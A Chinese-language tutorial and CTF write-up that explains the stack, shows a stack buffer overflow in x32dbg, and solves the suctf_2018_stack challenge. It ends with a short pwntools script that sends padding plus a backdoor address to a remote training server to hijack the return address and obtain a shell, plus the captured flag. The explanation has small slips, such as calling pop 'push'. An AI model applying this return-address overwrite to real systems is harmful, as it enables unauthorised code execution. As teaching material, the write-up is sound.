什么是栈
栈(stack)又名堆栈,它是一种运算受限的线性表。限定仅在表尾进行插入和删除操作的线性表。这一端被称为栈顶,相对地,把另一端称为栈底。向一个栈插入新元素又称作进栈、入栈或压栈,它是把新元素放到栈顶元素的上面,使之成为新的栈顶元素;从一个栈删除元素又称作出栈或退栈,它是把栈顶元素删除掉,使其相邻的元素成为新的栈顶元素。
栈溢出的利用
对于栈来说,栈是有两个操作,入栈(push)和出栈(push)这两个操作,栈还是先进后出的一个模式,所以可以无限制往下压,先去运行。
我这里用的是x32dbg。
这是一个窗口,分别代表的作用是什么。
在开辟完栈,才会对栈进行操作,简单的说明,就是我开辟一段地区,这里就是给我用的一块区域。
但是这个栈的大小是有限度的,这个栈的大小是0x24的大小。
在没有cancry的保护下,那么被溢出了,还是被正常的执行下去,但是在windows这些中,可能会报错,退出程序,我现在把这0x24空间,填满,现在看我的栈空间,我这里是00AFF278到00AFF254,是我自己申请的空间大小。
开始填充,现在看00AFF24C这里,被覆盖掉了
被覆盖成了AAAAAAA,之后我开始释放这个,由于我直接把AAAAAAA给了给了ebp,之后ret,程序就跑飞了,因为我这里里面并没有0AAAAAAA这个地址,之后引发报错。
我们来利用excel表格,来看一下。
如果输入的比栈的大,那么就会出现这种清空
假设:我这个栈的大小是0x24,但是我可以输入0x50字节的大小。
做题实验一下。
suctf_2018_stack
解析
下载附件,之后checksec一下
64位,无保护的文件。
漏洞的产生点在这里,这个buf可以从窗口下获取0x30个字节,但是在栈内,只有0x20个字节。
画个图
这样就可以造成栈溢出,发现这个可执行文件中,还有一个后门。
所以我们先让这个buf溢出这个栈,之后加上/bin/sh的地址,即可。
脚本
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#p = process('./SUCTF_2018_stack')
p = remote('node4.buuoj.cn',27398)
system = 0x0400677
#payload = b'填充的字符'*(buf的大小加上覆盖返回值的大小) + p64(shellcode的地址)
payload = b'a'*(0x20+0x08)+p64(system)
p.sendline(payload)
p.interactive()
最后获得flag是flag{94336642-f073-4380-8ba7-6dc4a3b34b1c}